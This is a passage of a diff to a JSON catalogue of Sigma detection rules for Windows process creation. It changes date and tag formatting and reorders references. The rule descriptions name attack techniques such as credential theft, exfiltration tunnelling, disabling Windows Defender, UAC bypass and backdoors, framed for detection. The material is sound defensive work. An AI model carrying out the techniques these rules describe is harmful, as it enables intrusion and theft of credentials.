"https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/", "https://twitter.com/Cyb3rWard0g/status/1453123054243024897", + "https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/", "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment", "https://github.com/antonioCoco/RogueWinRM", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_child_process_as_system_.yml" ], "tags": [ - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1134.002" ] }, @@ -26791,7 +26798,7 @@ "description": "Detects msdt.exe executed by a suspicious parent as seen in CVE-2022-30190 / Follina exploitation", "meta": { "author": "Nextron Systems", - "creation_date": "2022/06/01", + "creation_date": "2022-06-01", "falsepositive": [ "Unknown" ], @@ -26805,7 +26812,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msdt_susp_parent.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1036", "attack.t1218" ] @@ -26833,7 +26840,7 @@ "description": "Detect use of icacls to deny access for everyone in Users folder sometimes used to hide malicious files", "meta": { "author": "frack113", - "creation_date": "2022/07/18", + "creation_date": "2022-07-18", "falsepositive": [ "Unknown" ], @@ -26846,7 +26853,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_icacls_deny.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1564.001" ] }, @@ -26866,7 +26873,7 @@ "description": "WinPEAS is a script that search for possible paths to escalate privileges on Windows hosts. The checks are explained on book.hacktricks.xyz", "meta": { "author": "Georg Lauenstein (sure[secure])", - "creation_date": "2022/09/19", + "creation_date": "2022-09-19", "falsepositive": [ "Unlikely" ], @@ -26875,12 +26882,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/carlospolop/PEASS-ng", "https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation", + "https://github.com/carlospolop/PEASS-ng", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_winpeas.yml" ], "tags": [ - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1082", "attack.t1087", "attack.t1046" @@ -26916,7 +26923,7 @@ "description": "Detects execution of the Notepad++ updater (gup) to launch other commands or executables", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/06/10", + "creation_date": "2022-06-10", "falsepositive": [ "Other parent binaries using GUP not currently identified" ], @@ -26939,7 +26946,7 @@ "description": "Detects suspicious execution of 'Powercfg.exe' to change lock screen timeout", "meta": { "author": "frack113", - "creation_date": "2022/11/18", + "creation_date": "2022-11-18", "falsepositive": [ "Unknown" ], @@ -26948,12 +26955,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://learn.microsoft.com/en-us/windows-hardware/design/device-experiences/powercfg-command-line-options", "https://blogs.vmware.com/security/2022/11/batloader-the-evasive-downloader-malware.html", + "https://learn.microsoft.com/en-us/windows-hardware/design/device-experiences/powercfg-command-line-options", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powercfg_execution.yml" ], "tags": [ - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "f8d6a15e-4bc8-4c27-8e5d-2b10f0b73e5b", @@ -26963,7 +26970,7 @@ "description": "Detects attempts of decoding encoded Gzip archives via PowerShell.", "meta": { "author": "Hieu Tran", - "creation_date": "2023/03/13", + "creation_date": "2023-03-13", "falsepositive": [ "Legitimate administrative scripts may use this functionality. Use \"ParentImage\" in combination with the script names and allowed users and applications to filter legitimate executions" ], @@ -26976,7 +26983,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_decode_gzip.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1132.001" ] }, @@ -26996,7 +27003,7 @@ "description": "Detects the suspicious execution of a utility to convert Windows 3.x .grp files or for persistence purposes by malicious software or actors", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/05/19", + "creation_date": "2022-05-19", "falsepositive": [ "Unknown" ], @@ -27029,7 +27036,7 @@ "description": "Detects execution of a browser process with a URL argument pointing to a file with a potentially interesting extension. This can be abused to download arbitrary files or to hide from the user for example by launching the browser in a minimized state.", "meta": { "author": "Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/01/11", + "creation_date": "2022-01-11", "falsepositive": [ "Unknown" ], @@ -27043,7 +27050,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_browsers_inline_file_download.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1105" ] }, @@ -27063,7 +27070,7 @@ "description": "Detects child processes of Microsoft.NodejsTools.PressAnyKey.exe that can be used to execute any other binary", "meta": { "author": "Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/01/11", + "creation_date": "2022-01-11", "falsepositive": [ "Legitimate use by developers as part of NodeJS development with Visual Studio Tools" ], @@ -27078,7 +27085,7 @@ ], "tags": [ "attack.execution", - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218" ] }, @@ -27098,7 +27105,7 @@ "description": "Detects uncommon and potentially suspicious one-liner command containing both \"ping\" and \"copy\" at the same time, which is usually used by malware.\n", "meta": { "author": "X__Junior (Nextron Systems)", - "creation_date": "2023/07/18", + "creation_date": "2023-07-18", "falsepositive": [ "Unknown" ], @@ -27111,7 +27118,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_ping_copy_combined_execution.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1070.004" ] }, @@ -27131,7 +27138,7 @@ "description": "Detects the usage of \"reg.exe\" in order to query reconnaissance information from the registry. Adversaries may interact with the Windows registry to gather information about credentials, the system, configuration, and installed software.", "meta": { "author": "Timur Zinniatullin, oscd.community", - "creation_date": "2019/10/21", + "creation_date": "2019-10-21", "falsepositive": [ "Discord" ], @@ -27172,7 +27179,7 @@ "description": "Detects the use of a renamed Adfind.exe. AdFind continues to be seen across majority of breaches. It is used to domain trust discovery to plan out subsequent steps in the attack chain.", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/08/21", + "creation_date": "2022-08-21", "falsepositive": [ "Unknown" ], @@ -27181,12 +27188,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", + "https://social.technet.microsoft.com/wiki/contents/articles/7535.adfind-command-examples.aspx", "https://thedfirreport.com/2020/05/08/adfind-recon/", "https://www.joeware.net/freetools/tools/adfind/", - "https://github.com/center-for-threat-informed-defense/adversary_emulation_library/blob/bf62ece1c679b07b5fb49c4bae947fe24c81811f/fin6/Emulation_Plan/Phase1.md", "https://thedfirreport.com/2021/01/11/trickbot-still-alive-and-well/", - "https://social.technet.microsoft.com/wiki/contents/articles/7535.adfind-command-examples.aspx", + "https://github.com/center-for-threat-informed-defense/adversary_emulation_library/blob/bf62ece1c679b07b5fb49c4bae947fe24c81811f/fin6/Emulation_Plan/Phase1.md", + "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_adfind.yml" ], "tags": [ @@ -27234,7 +27241,7 @@ "description": "Detects usage of the SysInternals Procdump utility", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2021/08/16", + "creation_date": "2021-08-16", "falsepositive": [ "Legitimate use of procdump by a developer or administrator" ], @@ -27247,7 +27254,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_procdump.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1036", "attack.t1003.001" ] @@ -27275,7 +27282,7 @@ "description": "Detects the import of '.reg' files from suspicious paths using the 'reg.exe' utility", "meta": { "author": "frack113, Nasreddine Bencherchali", - "creation_date": "2022/08/01", + "creation_date": "2022-08-01", "falsepositive": [ "Legitimate import of keys" ], @@ -27289,7 +27296,7 @@ ], "tags": [ "attack.t1112", - "attack.defense_evasion" + "attack.defense-evasion" ] }, "related": [ @@ -27308,7 +27315,7 @@ "description": "Detects the execution of wmic with the \"qfe\" flag in order to obtain information about installed hotfix updates on the system. This is often used by pentester and attacker enumeration scripts", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/06/20", + "creation_date": "2022-06-20", "falsepositive": [ "Unknown" ], @@ -27342,7 +27349,7 @@ "description": "Execution of plink to perform data exfiltration and tunneling", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/08/04", + "creation_date": "2022-08-04", "falsepositive": [ "Unknown" ], @@ -27355,7 +27362,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_plink_susp_tunneling.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1572" ] }, @@ -27375,7 +27382,7 @@ "description": "Detects the execution of a renamed \"cloudflared\" binary.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/12/20", + "creation_date": "2023-12-20", "falsepositive": [ "Unknown" ], @@ -27385,14 +27392,14 @@ "logsource.product": "windows", "refs": [ "https://www.intrinsec.com/akira_ransomware/", + "https://github.com/cloudflare/cloudflared/releases", "https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/do-more-with-tunnels/trycloudflare/", "https://www.guidepointsecurity.com/blog/tunnel-vision-cloudflared-abused-in-the-wild/", "https://github.com/cloudflare/cloudflared", - "https://github.com/cloudflare/cloudflared/releases", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_cloudflared.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1090.001" ] }, @@ -27412,7 +27419,7 @@ "description": "Detects execution of \"AdPlus.exe\", a binary that is part of the Windows SDK that can be used as a LOLBIN in order to dump process memory and execute arbitrary commands.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/06/09", + "creation_date": "2022-06-09", "falsepositive": [ "Legitimate usage of Adplus for debugging purposes" ], @@ -27421,13 +27428,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/nas_bench/status/1534916659676422152", "https://twitter.com/nas_bench/status/1534915321856917506", "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Adplus/", + "https://twitter.com/nas_bench/status/1534916659676422152", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_adplus_memory_dump.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.execution", "attack.t1003.001" ] @@ -27448,7 +27455,7 @@ "description": "Detects the execution of the LOLBIN PrintBrm.exe, which can be used to create or extract ZIP files. PrintBrm.exe should not be run on a normal workstation.", "meta": { "author": "frack113", - "creation_date": "2022/05/02", + "creation_date": "2022-05-02", "falsepositive": [ "Unknown" ], @@ -27461,9 +27468,9 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_printbrm.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1105", - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1564.004" ] }, @@ -27490,7 +27497,7 @@ "description": "Detects usage of Gpg4win to decrypt files", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/08/09", + "creation_date": "2023-08-09", "falsepositive": [ "Unknown" ], @@ -27499,9 +27506,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.gpg4win.de/documentation.html", "https://news.sophos.com/en-us/2022/01/19/zloader-installs-remote-access-backdoors-and-delivers-cobalt-strike/", "https://blogs.vmware.com/security/2022/11/batloader-the-evasive-downloader-malware.html", + "https://www.gpg4win.de/documentation.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_gpg4win_decryption.yml" ], "tags": [ @@ -27515,7 +27522,7 @@ "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n", "meta": { "author": "frack113", - "creation_date": "2022/02/11", + "creation_date": "2022-02-11", "falsepositive": [ "Legitimate use" ], @@ -27528,7 +27535,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_access_tools_logmein.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1219" ] }, @@ -27548,7 +27555,7 @@ "description": "Detects child processes of the \"Trace log generation tool for Media Foundation Tools\" (Mftrace.exe) which can abused to execute arbitrary binaries.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/06/09", + "creation_date": "2022-06-09", "falsepositive": [ "Legitimate use for tracing purposes" ], @@ -27561,7 +27568,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mftrace_child_process.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1127" ] }, @@ -27581,7 +27588,7 @@ "description": "Detects the usage and installation of a backdoor that uses an option to register a malicious debugger for built-in tools that are accessible in the login screen", "meta": { "author": "Florian Roth (Nextron Systems), @twjackomo, Jonhnathan Ribeiro, oscd.community", - "creation_date": "2018/03/15", + "creation_date": "2018-03-15", "falsepositive": [ "Unlikely" ], @@ -27594,7 +27601,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_sticky_key_like_backdoor_execution.yml" ], "tags": [ - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.persistence", "attack.t1546.008", "car.2014-11-003", @@ -27617,7 +27624,7 @@ "description": "Detects when an attacker tries to add a new network provider in order to dump clear text credentials, similar to how the NPPSpy tool does it", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/08/23", + "creation_date": "2022-08-23", "falsepositive": [ "Other legitimate network providers used and not filtred in this rule" ], @@ -27626,12 +27633,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://learn.microsoft.com/en-us/troubleshoot/windows-client/setup-upgrade-and-drivers/network-provider-settings-removed-in-place-upgrade", "https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy", + "https://learn.microsoft.com/en-us/troubleshoot/windows-client/setup-upgrade-and-drivers/network-provider-settings-removed-in-place-upgrade", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_registry_new_network_provider.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003" ] }, @@ -27651,7 +27658,7 @@ "description": "Detects an attempt to leverage dnscmd.exe to enumerate the DNS zones of a domain. DNS zones used to host the DNS records for a particular domain.", "meta": { "author": "@gott_cyber", - "creation_date": "2022/07/31", + "creation_date": "2022-07-31", "falsepositive": [ "Legitimate administration use" ], @@ -27660,8 +27667,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/dnscmd", "https://learn.microsoft.com/en-us/azure/dns/dns-zones-records", + "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/dnscmd", "https://lolbas-project.github.io/lolbas/Binaries/Dnscmd/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dnscmd_discovery.yml" ], @@ -27687,7 +27694,7 @@ "description": "Detects when 'DllRegisterServer' is called in the commandline and the image is not rundll32. This could mean that the 'rundll32' utility has been renamed in order to avoid detection", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/08/22", + "creation_date": "2022-08-22", "falsepositive": [ "Unlikely" ], @@ -27696,8 +27703,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/swisscom_csirt/status/1331634525722521602?s=20", "https://app.any.run/tasks/f74c5157-8508-4ac6-9805-d63fe7b0d399/", + "https://twitter.com/swisscom_csirt/status/1331634525722521602?s=20", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_rundll32_dllregisterserver.yml" ], "tags": [ @@ -27711,7 +27718,7 @@ "description": "Detects use of .NET InstallUtil.exe in order to download arbitrary files. The files will be written to \"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\\IE\\\"\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/08/19", + "creation_date": "2022-08-19", "falsepositive": [ "Unknown" ], @@ -27724,7 +27731,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_installutil_download.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218" ] }, @@ -27744,7 +27751,7 @@ "description": "Detects password change for the logged-on user's via \"ksetup.exe\"", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/04/06", + "creation_date": "2023-04-06", "falsepositive": [ "Unknown" ], @@ -27767,7 +27774,7 @@ "description": "Adversaries may acquire credentials from web browsers by reading files specific to the target browser.\nWeb browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future.\nWeb browsers typically store the credentials in an encrypted format within a credential store.\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/12/23", + "creation_date": "2022-12-23", "falsepositive": [ "Unknown" ], @@ -27780,7 +27787,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_copy_browser_data.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1555.003" ] }, @@ -27800,7 +27807,7 @@ "description": "Detects the execution of netsh to configure a port forwarding of port 3389 (RDP) rule", "meta": { "author": "Florian Roth (Nextron Systems), oscd.community", - "creation_date": "2019/01/29", + "creation_date": "2019-01-29", "falsepositive": [ "Legitimate administration activity" ], @@ -27813,9 +27820,9 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_port_forwarding_3389.yml" ], "tags": [ - "attack.lateral_movement", - "attack.defense_evasion", - "attack.command_and_control", + "attack.lateral-movement", + "attack.defense-evasion", + "attack.command-and-control", "attack.t1090" ] }, @@ -27835,7 +27842,7 @@ "description": "Detects attackers attempting to disable Windows Defender using Powershell", "meta": { "author": "ok @securonix invrep-de, oscd.community, frack113", - "creation_date": "2020/10/12", + "creation_date": "2020-10-12", "falsepositive": [ "Minimal, for some older versions of dev tools, such as pycharm, developers were known to sometimes disable Windows Defender to improve performance, but this generally is not considered a good security practice." ], @@ -27850,7 +27857,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_disable_defender_av_security_monitoring.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001" ] }, @@ -27870,7 +27877,7 @@ "description": "Detects the usage of the \"reg.exe\" utility to disable PPL protection on the LSA process", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/03/22", + "creation_date": "2022-03-22", "falsepositive": [ "Unlikely" ], @@ -27883,7 +27890,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_lsa_ppl_protection_disabled.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.010" ] }, @@ -27903,7 +27910,7 @@ "description": "Detects suspicious execution of Sysinternals PsSuspend, where the utility is used to suspend critical processes such as AV or EDR to bypass defenses", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/03/23", + "creation_date": "2023-03-23", "falsepositive": [ "Unlikely" ], @@ -27917,7 +27924,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_pssuspend_susp_execution.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001" ] }, @@ -27937,7 +27944,7 @@ "description": "Detects execution of \"aspnet_compiler.exe\" which can be abused to compile and execute C# code.", "meta": { "author": "frack113", - "creation_date": "2021/11/24", + "creation_date": "2021-11-24", "falsepositive": [ "Unknown" ], @@ -27946,12 +27953,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://ijustwannared.team/2020/08/01/the-curious-case-of-aspnet_compiler-exe/", "https://lolbas-project.github.io/lolbas/Binaries/Aspnet_Compiler/", + "https://ijustwannared.team/2020/08/01/the-curious-case-of-aspnet_compiler-exe/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_aspnet_compiler_exectuion.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1127" ] }, @@ -27971,7 +27978,7 @@ "description": "The Devtoolslauncher.exe executes other binary", "meta": { "author": "Beyu Denis, oscd.community (rule), @_felamos (idea)", - "creation_date": "2019/10/12", + "creation_date": "2019-10-12", "falsepositive": [ "Legitimate use of devtoolslauncher.exe by legitimate user" ], @@ -27985,7 +27992,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_devtoolslauncher.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218" ] }, @@ -28005,7 +28012,7 @@ "description": "Detects attempts to bypass User Account Control (UAC) by hijacking the Microsoft Management Console (MMC) Windows Firewall snap-in", "meta": { "author": "Tim Rauch, Elastic (idea)", - "creation_date": "2022/09/27", + "creation_date": "2022-09-27", "falsepositive": [ "Unknown" ], @@ -28018,7 +28025,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_hijacking_firwall_snap_in.yml" ], "tags": [ - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1548" ] }, @@ -28038,7 +28045,7 @@ "description": "Detects the execution of an AnyDesk binary with a version prior to 8.0.8.\nPrior to version 8.0.8, the Anydesk application used a signing certificate that got compromised by threat actors.\nUse this rule to detect instances of older versions of Anydesk using the compromised certificate\nThis is recommended in order to avoid attackers leveraging the certificate and signing their binaries to bypass detections.\n", "meta": { "author": "Sai Prashanth Pulisetti, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2024/02/08", + "creation_date": "2024-02-08", "falsepositive": [ "Unlikely" ], @@ -28053,7 +28060,7 @@ ], "tags": [ "attack.execution", - "attack.initial_access" + "attack.initial-access" ] }, "uuid": "41f407b5-3096-44ea-a74f-96d04fbc41be", @@ -28063,7 +28070,7 @@ "description": "Detects a potentially suspicious parent of \"csc.exe\", which could be a sign of payload delivery.", "meta": { "author": "Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems), X__Junior (Nextron Systems)", - "creation_date": "2019/02/11", + "creation_date": "2019-02-11", "falsepositive": [ "Unknown" ], @@ -28072,16 +28079,16 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://www.uptycs.com/blog/warzonerat-can-now-evade-with-process-hollowing", "https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/yellow-liderc-ships-its-scripts-delivers-imaploader-malware.html", "https://reaqta.com/2017/11/short-journey-darkvnc/", - "https://www.uptycs.com/blog/warzonerat-can-now-evade-with-process-hollowing", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_csc_susp_parent.yml" ], "tags": [ "attack.execution", "attack.t1059.005", "attack.t1059.007", - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218.005", "attack.t1027.004" ] @@ -28123,7 +28130,7 @@ "description": "Detects the execution of SharpMove, a .NET utility performing multiple tasks such as \"Task Creation\", \"SCM\" query, VBScript execution using WMI via its PE metadata and command line options.\n", "meta": { "author": "Luca Di Bartolomeo (CrimpSec)", - "creation_date": "2024/01/29", + "creation_date": "2024-01-29", "falsepositive": [ "Unknown" ], @@ -28137,7 +28144,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_sharpmove.yml" ], "tags": [ - "attack.lateral_movement", + "attack.lateral-movement", "attack.t1021.002" ] }, @@ -28157,7 +28164,7 @@ "description": "Detects the execution of \"reg.exe\" to alter registry keys that would replace the user's desktop background.\nThis is a common technique used by malware to change the desktop background to a ransom note or other image.\n", "meta": { "author": "Stephen Lincoln @slincoln-aiq (AttackIQ)", - "creation_date": "2023/12/21", + "creation_date": "2023-12-21", "falsepositive": [ "Administrative scripts that change the desktop background to a company logo or other image." ], @@ -28166,16 +28173,16 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.virustotal.com/gui/file/a864282fea5a536510ae86c77ce46f7827687783628e4f2ceb5bf2c41b8cd3c6/behavior", "https://www.trendmicro.com/en_us/research/23/h/an-overview-of-the-new-rhysida-ransomware.html", "https://research.checkpoint.com/2023/the-rhysida-ransomware-activity-analysis-and-ties-to-vice-society/", + "https://www.attackiq.com/2023/09/20/emulating-rhysida/", + "https://www.virustotal.com/gui/file/a864282fea5a536510ae86c77ce46f7827687783628e4f2ceb5bf2c41b8cd3c6/behavior", "https://admx.help/?Category=Windows_10_2016&Policy=Microsoft.Policies.ControlPanelDisplay::CPL_Personalization_NoDesktopBackgroundUI", "https://admx.help/?Category=Windows_10_2016&Policy=Microsoft.Policies.WindowsDesktop::Wallpaper", - "https://www.attackiq.com/2023/09/20/emulating-rhysida/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_desktop_background_change.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.impact", "attack.t1112", "attack.t1491.001" @@ -28204,7 +28211,7 @@ "description": "VisualUiaVerifyNative.exe is a Windows SDK that can be used for AWL bypass and is listed in Microsoft's recommended block rules.", "meta": { "author": "Christopher Peacock @SecurePeacock, SCYTHE @scythe_io", - "creation_date": "2022/06/01", + "creation_date": "2022-06-01", "falsepositive": [ "Legitimate testing of Microsoft UI parts." ], @@ -28213,14 +28220,14 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/VisualUiaVerifyNative/", - "https://github.com/MicrosoftDocs/windows-itpro-docs/commit/937db704b9148e9cee7c7010cad4d00ce9c4fdad", "https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/design/applications-that-can-bypass-wdac", "https://bohops.com/2020/10/15/exploring-the-wdac-microsoft-recommended-block-rules-visualuiaverifynative/", + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/VisualUiaVerifyNative/", + "https://github.com/MicrosoftDocs/windows-itpro-docs/commit/937db704b9148e9cee7c7010cad4d00ce9c4fdad", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_visualuiaverifynative.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218" ] }, @@ -28240,7 +28247,7 @@ "description": "Detects suspicious launch of the PSEXESVC service on this system and a sub process run as LOCAL_SYSTEM (-s), which means that someone remotely started a command on this system running it with highest privileges and not only the privileges of the login user account (e.g. the administrator account)", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/07/21", + "creation_date": "2022-07-21", "falsepositive": [ "Users that debug Microsoft Intune issues using the commands mentioned in the official documentation; see https://learn.microsoft.com/en-us/mem/intune/apps/intune-management-extension" ], @@ -28263,7 +28270,7 @@ "description": "Detects execution of wmic utility with the \"computersystem\" flag in order to obtain information about the machine such as the domain, username, model, etc.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/09/08", + "creation_date": "2022-09-08", "falsepositive": [ "Unknown" ], @@ -28297,7 +28304,7 @@ "description": "Detects execution of the Impersonate tool. Which can be used to manipulate tokens on a Windows computers remotely (PsExec/WmiExec) or interactively", "meta": { "author": "Sai Prashanth Pulisetti @pulisettis", - "creation_date": "2022/12/21", + "creation_date": "2022-12-21", "falsepositive": [ "Unknown" ], @@ -28306,13 +28313,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/sensepost/impersonate", "https://sensepost.com/blog/2022/abusing-windows-tokens-to-compromise-active-directory-without-touching-lsass/", + "https://github.com/sensepost/impersonate", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_impersonate.yml" ], "tags": [ - "attack.privilege_escalation", - "attack.defense_evasion", + "attack.privilege-escalation", + "attack.defense-evasion", "attack.t1134.001", "attack.t1134.003" ] @@ -28340,7 +28347,7 @@ "description": "Detects invocation of Microsoft Workflow Compiler, which may permit the execution of arbitrary unsigned code.", "meta": { "author": "Nik Seetharaman, frack113", - "creation_date": "2019/01/16", + "creation_date": "2019-01-16", "falsepositive": [ "Legitimate MWC use (unlikely in modern enterprise environments)" ], @@ -28349,13 +28356,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://posts.specterops.io/arbitrary-unsigned-code-execution-vector-in-microsoft-workflow-compiler-exe-3d9294bc5efb", "https://lolbas-project.github.io/lolbas/Binaries/Microsoft.Workflow.Compiler/", + 